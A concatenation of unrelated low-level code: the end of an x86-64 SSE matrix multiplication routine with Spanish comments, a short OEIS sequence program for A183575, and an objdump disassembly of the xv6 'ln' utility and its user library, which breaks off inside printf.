pxor xmm3, xmm3 ;xmm3 = acumulador para el coef r10, r12
; Calculo desplazamiento en matrix2
lea r15, [r13 + r12]
;Calculo m mod 4
mov rbx, 3
and rbx, rcx ;rbx = m mod 4
jz .k
; Hago rbx operaciones por separado
.not_multiple_of_4:
movss xmm1, [rdi + 4 * r14] ;xmm1 = matrix1[r10][r11]
movss xmm2, [rsi + 4 * r15] ;xmm2 = matrix2[r11][r12]
mulss xmm1, xmm2
addss xmm3, xmm1
sub r15, r8 ;Voy del ultimo al primer elemento de la columna
dec r14 ;Voy del ultimo al primer elemento de la fila
dec r11
jz .nm4
dec rbx
jz .p
jmp .not_multiple_of_4
.p:
sub r14, 3 ; me posiciono en r10-4
.k:
movdqu xmm1, [rdi + 4 * r14] ;xmm1 = matrix1[r10][r11]
movss xmm6, [rsi + 4 * r15]
movss xmm2, xmm6 ;xmm2 = matrix2[r11][r12]
sub r15, r8 ;Voy del ultimo al primer elemento de la columna
pslldq xmm2, 4
movss xmm6, [rsi + 4 * r15]
movss xmm2, xmm6 ;xmm2 = matrix2[r11][r12]
sub r15, r8 ;Voy del ultimo al primer elemento de la columna
pslldq xmm2,4
movss xmm6, [rsi + 4 * r15]
movss xmm2, xmm6 ;xmm2 = matrix2[r11][r12]
sub r15, r8 ;Voy del ultimo al primer elemento de la columna
pslldq xmm2,4
movss xmm6, [rsi + 4 * r15]
movss xmm2, xmm6 ;xmm2 = matrix2[r11][r12]
sub r15, r8 ;Voy del ultimo al primer elemento de la columna
mulps xmm1, xmm2
addps xmm3, xmm1
sub r11, 4
jz .ready
sub r14, 4 ;Voy del ultimo al primer elemento de la fila
jmp .k
.ready:
dec r14 ; Esto junto con el "add r14, rcx" de mas abajo me posiciona en r10-1
mov rbx, 3
and rbx, rcx ;rbx = m mod 4
jnz .nm4
sub r14,3 ; Si es multiplo de 4 entonces no se le van a restar 3 para posicionarse en el lugar correcto
; lo hago ahora entonces para posicionarme en r10-4
.nm4:
add r14, rcx ;Hago esto para situarme de vuelta
;al final de la fila r10-1
movdqu xmm1, xmm3
psrldq xmm3, 4
addss xmm1, xmm3
psrldq xmm3, 4
addss xmm1, xmm3
psrldq xmm3, 4
addss xmm1, xmm3
; Calculo desplazamiento en output
lea rax, [r10 - 1]
mul r8d
shl rdx, 32
;mov edx, eax ; rdx = i * m
lea r15, [rdx + rax]
lea r15, [r15 + r12 - 1]
movss [r9 + 4 * r15], xmm1
dec r12
jnz .j
sub r14d, ecx
dec r10
jnz .i
pop rbx ; Cambiar esto por el add correspondiente
pop rbx
pop r15
pop r14
pop r13
pop r12
pop rbp
ret |
; A183575: a(n) = n - 1 + ceiling((n^2-2)/2); complement of A183574.
; 2,6,10,16,22,30,38,48,58,70,82,96,110,126,142,160,178,198,218,240,262,286,310,336,362,390,418,448,478,510,542,576,610,646,682,720,758,798,838,880,922,966,1010,1056,1102,1150,1198,1248,1298,1350,1402,1456,1510,1566,1622,1680,1738,1798,1858,1920,1982,2046,2110,2176,2242,2310,2378,2448,2518,2590,2662,2736,2810,2886,2962,3040,3118,3198,3278,3360,3442,3526,3610,3696,3782,3870,3958,4048,4138,4230,4322,4416,4510,4606,4702,4800,4898,4998,5098,5200
add $0,3
pow $0,2
div $0,2
sub $0,2
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
if(argc != 3){
7: 83 39 03 cmpl $0x3,(%ecx)
{
a: ff 71 fc pushl -0x4(%ecx)
d: 55 push %ebp
e: 89 e5 mov %esp,%ebp
10: 53 push %ebx
11: 51 push %ecx
12: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
15: 74 13 je 2a <main+0x2a>
printf(2, "Usage: ln old new\n");
17: 52 push %edx
18: 52 push %edx
19: 68 58 07 00 00 push $0x758
1e: 6a 02 push $0x2
20: e8 db 03 00 00 call 400 <printf>
exit();
25: e8 88 02 00 00 call 2b2 <exit>
}
if(link(argv[1], argv[2]) < 0)
2a: 50 push %eax
2b: 50 push %eax
2c: ff 73 08 pushl 0x8(%ebx)
2f: ff 73 04 pushl 0x4(%ebx)
32: e8 db 02 00 00 call 312 <link>
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 78 05 js 43 <main+0x43>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3e: e8 6f 02 00 00 call 2b2 <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
43: ff 73 08 pushl 0x8(%ebx)
46: ff 73 04 pushl 0x4(%ebx)
49: 68 6b 07 00 00 push $0x76b
4e: 6a 02 push $0x2
50: e8 ab 03 00 00 call 400 <printf>
55: 83 c4 10 add $0x10,%esp
58: eb e4 jmp 3e <main+0x3e>
5a: 66 90 xchg %ax,%ax
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 45 08 mov 0x8(%ebp),%eax
67: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
6a: 89 c2 mov %eax,%edx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
70: 83 c1 01 add $0x1,%ecx
73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
77: 83 c2 01 add $0x1,%edx
7a: 84 db test %bl,%bl
7c: 88 5a ff mov %bl,-0x1(%edx)
7f: 75 ef jne 70 <strcpy+0x10>
;
return os;
}
81: 5b pop %ebx
82: 5d pop %ebp
83: c3 ret
84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 53 push %ebx
94: 8b 55 08 mov 0x8(%ebp),%edx
97: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
9a: 0f b6 02 movzbl (%edx),%eax
9d: 0f b6 19 movzbl (%ecx),%ebx
a0: 84 c0 test %al,%al
a2: 75 1c jne c0 <strcmp+0x30>
a4: eb 2a jmp d0 <strcmp+0x40>
a6: 8d 76 00 lea 0x0(%esi),%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
b3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b6: 83 c1 01 add $0x1,%ecx
b9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
bc: 84 c0 test %al,%al
be: 74 10 je d0 <strcmp+0x40>
c0: 38 d8 cmp %bl,%al
c2: 74 ec je b0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
c4: 29 d8 sub %ebx,%eax
}
c6: 5b pop %ebx
c7: 5d pop %ebp
c8: c3 ret
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
d0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
d2: 29 d8 sub %ebx,%eax
}
d4: 5b pop %ebx
d5: 5d pop %ebp
d6: c3 ret
d7: 89 f6 mov %esi,%esi
d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000e0 <strlen>:
uint
strlen(const char *s)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 15 je 100 <strlen+0x20>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
;
return n;
}
fb: 5d pop %ebp
fc: c3 ret
fd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
100: 31 c0 xor %eax,%eax
}
102: 5d pop %ebp
103: c3 ret
104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
13a: 0f b6 10 movzbl (%eax),%edx
13d: 84 d2 test %dl,%dl
13f: 74 1d je 15e <strchr+0x2e>
if(*s == c)
141: 38 d3 cmp %dl,%bl
143: 89 d9 mov %ebx,%ecx
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
return (char*)s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
176: 31 f6 xor %esi,%esi
178: 89 f3 mov %esi,%ebx
{
17a: 83 ec 1c sub $0x1c,%esp
17d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
180: eb 2f jmp 1b1 <gets+0x41>
182: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
188: 8d 45 e7 lea -0x19(%ebp),%eax
18b: 83 ec 04 sub $0x4,%esp
18e: 6a 01 push $0x1
190: 50 push %eax
191: 6a 00 push $0x0
193: e8 32 01 00 00 call 2ca <read>
if(cc < 1)
198: 83 c4 10 add $0x10,%esp
19b: 85 c0 test %eax,%eax
19d: 7e 1c jle 1bb <gets+0x4b>
break;
buf[i++] = c;
19f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a3: 83 c7 01 add $0x1,%edi
1a6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1a9: 3c 0a cmp $0xa,%al
1ab: 74 23 je 1d0 <gets+0x60>
1ad: 3c 0d cmp $0xd,%al
1af: 74 1f je 1d0 <gets+0x60>
for(i=0; i+1 < max; ){
1b1: 83 c3 01 add $0x1,%ebx
1b4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1b7: 89 fe mov %edi,%esi
1b9: 7c cd jl 188 <gets+0x18>
1bb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1bd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1c0: c6 03 00 movb $0x0,(%ebx)
}
1c3: 8d 65 f4 lea -0xc(%ebp),%esp
1c6: 5b pop %ebx
1c7: 5e pop %esi
1c8: 5f pop %edi
1c9: 5d pop %ebp
1ca: c3 ret
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1d0: 8b 75 08 mov 0x8(%ebp),%esi
1d3: 8b 45 08 mov 0x8(%ebp),%eax
1d6: 01 de add %ebx,%esi
1d8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1da: c6 03 00 movb $0x0,(%ebx)
}
1dd: 8d 65 f4 lea -0xc(%ebp),%esp
1e0: 5b pop %ebx
1e1: 5e pop %esi
1e2: 5f pop %edi
1e3: 5d pop %ebp
1e4: c3 ret
1e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001f0 <stat>:
int
stat(const char *n, struct stat *st)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 56 push %esi
1f4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: 83 ec 08 sub $0x8,%esp
1f8: 6a 00 push $0x0
1fa: ff 75 08 pushl 0x8(%ebp)
1fd: e8 f0 00 00 00 call 2f2 <open>
if(fd < 0)
202: 83 c4 10 add $0x10,%esp
205: 85 c0 test %eax,%eax
207: 78 27 js 230 <stat+0x40>
return -1;
r = fstat(fd, st);
209: 83 ec 08 sub $0x8,%esp
20c: ff 75 0c pushl 0xc(%ebp)
20f: 89 c3 mov %eax,%ebx
211: 50 push %eax
212: e8 f3 00 00 00 call 30a <fstat>
close(fd);
217: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
21a: 89 c6 mov %eax,%esi
close(fd);
21c: e8 b9 00 00 00 call 2da <close>
return r;
221: 83 c4 10 add $0x10,%esp
}
224: 8d 65 f8 lea -0x8(%ebp),%esp
227: 89 f0 mov %esi,%eax
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
22d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
230: be ff ff ff ff mov $0xffffffff,%esi
235: eb ed jmp 224 <stat+0x34>
237: 89 f6 mov %esi,%esi
239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000240 <atoi>:
int
atoi(const char *s)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 53 push %ebx
244: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
247: 0f be 11 movsbl (%ecx),%edx
24a: 8d 42 d0 lea -0x30(%edx),%eax
24d: 3c 09 cmp $0x9,%al
n = 0;
24f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
254: 77 1f ja 275 <atoi+0x35>
256: 8d 76 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
260: 8d 04 80 lea (%eax,%eax,4),%eax
263: 83 c1 01 add $0x1,%ecx
266: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
26a: 0f be 11 movsbl (%ecx),%edx
26d: 8d 5a d0 lea -0x30(%edx),%ebx
270: 80 fb 09 cmp $0x9,%bl
273: 76 eb jbe 260 <atoi+0x20>
return n;
}
275: 5b pop %ebx
276: 5d pop %ebp
277: c3 ret
278: 90 nop
279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
285: 8b 5d 10 mov 0x10(%ebp),%ebx
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28e: 85 db test %ebx,%ebx
290: 7e 14 jle 2a6 <memmove+0x26>
292: 31 d2 xor %edx,%edx
294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
298: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
29c: 88 0c 10 mov %cl,(%eax,%edx,1)
29f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2a2: 39 d3 cmp %edx,%ebx
2a4: 75 f2 jne 298 <memmove+0x18>
return vdst;
}
2a6: 5b pop %ebx
2a7: 5e pop %esi
2a8: 5d pop %ebp
2a9: c3 ret
000002aa <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2aa: b8 01 00 00 00 mov $0x1,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <exit>:
SYSCALL(exit)
2b2: b8 02 00 00 00 mov $0x2,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <wait>:
SYSCALL(wait)
2ba: b8 03 00 00 00 mov $0x3,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <pipe>:
SYSCALL(pipe)
2c2: b8 04 00 00 00 mov $0x4,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <read>:
SYSCALL(read)
2ca: b8 05 00 00 00 mov $0x5,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <write>:
SYSCALL(write)
2d2: b8 10 00 00 00 mov $0x10,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <close>:
SYSCALL(close)
2da: b8 15 00 00 00 mov $0x15,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <kill>:
SYSCALL(kill)
2e2: b8 06 00 00 00 mov $0x6,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <exec>:
SYSCALL(exec)
2ea: b8 07 00 00 00 mov $0x7,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <open>:
SYSCALL(open)
2f2: b8 0f 00 00 00 mov $0xf,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <mknod>:
SYSCALL(mknod)
2fa: b8 11 00 00 00 mov $0x11,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <unlink>:
SYSCALL(unlink)
302: b8 12 00 00 00 mov $0x12,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <fstat>:
SYSCALL(fstat)
30a: b8 08 00 00 00 mov $0x8,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <link>:
SYSCALL(link)
312: b8 13 00 00 00 mov $0x13,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mkdir>:
SYSCALL(mkdir)
31a: b8 14 00 00 00 mov $0x14,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <chdir>:
SYSCALL(chdir)
322: b8 09 00 00 00 mov $0x9,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <dup>:
SYSCALL(dup)
32a: b8 0a 00 00 00 mov $0xa,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <getpid>:
SYSCALL(getpid)
332: b8 0b 00 00 00 mov $0xb,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <sbrk>:
SYSCALL(sbrk)
33a: b8 0c 00 00 00 mov $0xc,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <sleep>:
SYSCALL(sleep)
342: b8 0d 00 00 00 mov $0xd,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <uptime>:
SYSCALL(uptime)
34a: b8 0e 00 00 00 mov $0xe,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <chngpr>:
SYSCALL(chngpr)
352: b8 16 00 00 00 mov $0x16,%eax
357: cd 40 int $0x40
359: c3 ret
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
369: 85 d2 test %edx,%edx
{
36b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
36e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
370: 79 76 jns 3e8 <printint+0x88>
372: f6 45 08 01 testb $0x1,0x8(%ebp)
376: 74 70 je 3e8 <printint+0x88>
x = -xx;
378: f7 d8 neg %eax
neg = 1;
37a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
381: 31 f6 xor %esi,%esi
383: 8d 5d d7 lea -0x29(%ebp),%ebx
386: eb 0a jmp 392 <printint+0x32>
388: 90 nop
389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
390: 89 fe mov %edi,%esi
392: 31 d2 xor %edx,%edx
394: 8d 7e 01 lea 0x1(%esi),%edi
397: f7 f1 div %ecx
399: 0f b6 92 88 07 00 00 movzbl 0x788(%edx),%edx
}while((x /= base) != 0);
3a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3a5: 75 e9 jne 390 <printint+0x30>
if(neg)
3a7: 8b 45 c4 mov -0x3c(%ebp),%eax
3aa: 85 c0 test %eax,%eax
3ac: 74 08 je 3b6 <printint+0x56>
buf[i++] = '-';
3ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3b3: 8d 7e 02 lea 0x2(%esi),%edi
3b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ba: 8b 7d c0 mov -0x40(%ebp),%edi
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3c3: 83 ec 04 sub $0x4,%esp
3c6: 83 ee 01 sub $0x1,%esi
3c9: 6a 01 push $0x1
3cb: 53 push %ebx
3cc: 57 push %edi
3cd: 88 45 d7 mov %al,-0x29(%ebp)
3d0: e8 fd fe ff ff call 2d2 <write>
while(--i >= 0)
3d5: 83 c4 10 add $0x10,%esp
3d8: 39 de cmp %ebx,%esi
3da: 75 e4 jne 3c0 <printint+0x60>
putc(fd, buf[i]);
}
3dc: 8d 65 f4 lea -0xc(%ebp),%esp
3df: 5b pop %ebx
3e0: 5e pop %esi
3e1: 5f pop %edi
3e2: 5d pop %ebp
3e3: c3 ret
3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ef: eb 90 jmp 381 <printint+0x21>
3f1: eb 0d jmp 400 <printf>
3f3: 90 nop
3f4: 90 nop
3f5: 90 nop
3f6: 90 nop
3f7: 90 nop
3f8: 90 nop
3f9: 90 nop
3fa: 90 nop
3fb: 90 nop
3fc: 90 nop
3fd: 90 nop
3fe: 90 nop
3ff: 90 nop
00000400 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
409: 8b 75 0c mov 0xc(%ebp),%esi
40c: 0f b6 1e movzbl (%esi),%ebx
40f: 84 db test %bl,%bl
411: 0f 84 b3 00 00 00 je 4ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
417: 8d 45 10 lea 0x10(%ebp),%eax
41a: 83 c6 01 add $0x1,%esi
state = 0;
41d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
41f: 89 45 d4 mov %eax,-0x2c(%ebp)
422: eb 2f jmp 453 <printf+0x53>
424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 0f 84 a7 00 00 00 je 4d8 <printf+0xd8>
write(fd, &c, 1);
431: 8d 45 e2 lea -0x1e(%ebp),%eax
434: 83 ec 04 sub $0x4,%esp
437: 88 5d e2 mov %bl,-0x1e(%ebp)
43a: 6a 01 push $0x1
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 8d fe ff ff call 2d2 <write>
445: 83 c4 10 add $0x10,%esp
448: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
44b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44f: 84 db test %bl,%bl
451: 74 77 je 4ca <printf+0xca>
if(state == 0){
453: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
455: 0f be cb movsbl %bl,%ecx
458: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
45b: 74 cb je 428 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45d: 83 ff 25 cmp $0x25,%edi
460: 75 e6 jne 448 <printf+0x48>
if(c == 'd'){
462: 83 f8 64 cmp $0x64,%eax
465: 0f 84 05 01 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
46b: 81 e1 f7 00 00 00 and $0xf7,%ecx
471: 83 f9 70 cmp $0x70,%ecx
474: 74 72 je 4e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
476: 83 f8 73 cmp $0x73,%eax
479: 0f 84 99 00 00 00 je 518 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47f: 83 f8 63 cmp $0x63,%eax
482: 0f 84 08 01 00 00 je 590 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 ef 00 00 00 je 580 <printf+0x180>
write(fd, &c, 1);
491: 8d 45 e7 lea -0x19(%ebp),%eax
494: 83 ec 04 sub $0x4,%esp
497: c6 45 e7 25 movb $0x25,-0x19(%ebp)
49b: 6a 01 push $0x1
49d: 50 push %eax
49e: ff 75 08 pushl 0x8(%ebp)
4a1: e8 2c fe ff ff call 2d2 <write>
4a6: 83 c4 0c add $0xc,%esp
4a9: 8d 45 e6 lea -0x1a(%ebp),%eax
4ac: 88 5d e6 mov %bl,-0x1a(%ebp)
4af: 6a 01 push $0x1
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ba: e8 13 fe ff ff call 2d2 <write>
for(i = 0; fmt[i]; i++){
4bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4c6: 84 db test %bl,%bl
4c8: 75 89 jne 453 <printf+0x53>
}
}
}
4ca: 8d 65 f4 lea -0xc(%ebp),%esp
4cd: 5b pop %ebx
4ce: 5e pop %esi
4cf: 5f pop %edi
4d0: 5d pop %ebp
4d1: c3 ret
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4d8: bf 25 00 00 00 mov $0x25,%edi
4dd: e9 66 ff ff ff jmp 448 <printf+0x48>
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e8: 83 ec 0c sub $0xc,%esp
4eb: b9 10 00 00 00 mov $0x10,%ecx
4f0: 6a 00 push $0x0
4f2: 8b 7d d4 mov -0x2c(%ebp),%edi
4f5: 8b 45 08 mov 0x8(%ebp),%eax
4f8: 8b 17 mov (%edi),%edx
4fa: e8 61 fe ff ff call 360 <printint>
ap++;
4ff: 89 f8 mov %edi,%eax
501: 83 c4 10 add $0x10,%esp
state = 0;
504: 31 ff xor %edi,%edi
ap++;
506: 83 c0 04 add $0x4,%eax
509: 89 45 d4 mov %eax,-0x2c(%ebp)
50c: e9 37 ff ff ff jmp 448 <printf+0x48>
511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
51b: 8b 08 mov (%eax),%ecx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
523: 85 c9 test %ecx,%ecx
525: 0f 84 8e 00 00 00 je 5b9 <printf+0x1b9>
while(*s != 0){
52b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
52e: 31 ff xor %edi,%edi
s = (char*)*ap;
530: 89 cb mov %ecx,%ebx
while(*s != 0){
532: 84 c0 test %al,%al
534: 0f 84 0e ff ff ff je 448 <printf+0x48>
53a: 89 75 d0 mov %esi,-0x30(%ebp)
53d: 89 de mov %ebx,%esi
53f: 8b 5d 08 mov 0x8(%ebp),%ebx
542: 8d 7d e3 lea -0x1d(%ebp),%edi
545: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
548: 83 ec 04 sub $0x4,%esp
s++;
54b: 83 c6 01 add $0x1,%esi
54e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
551: 6a 01 push $0x1
553: 57 push %edi
554: 53 push %ebx
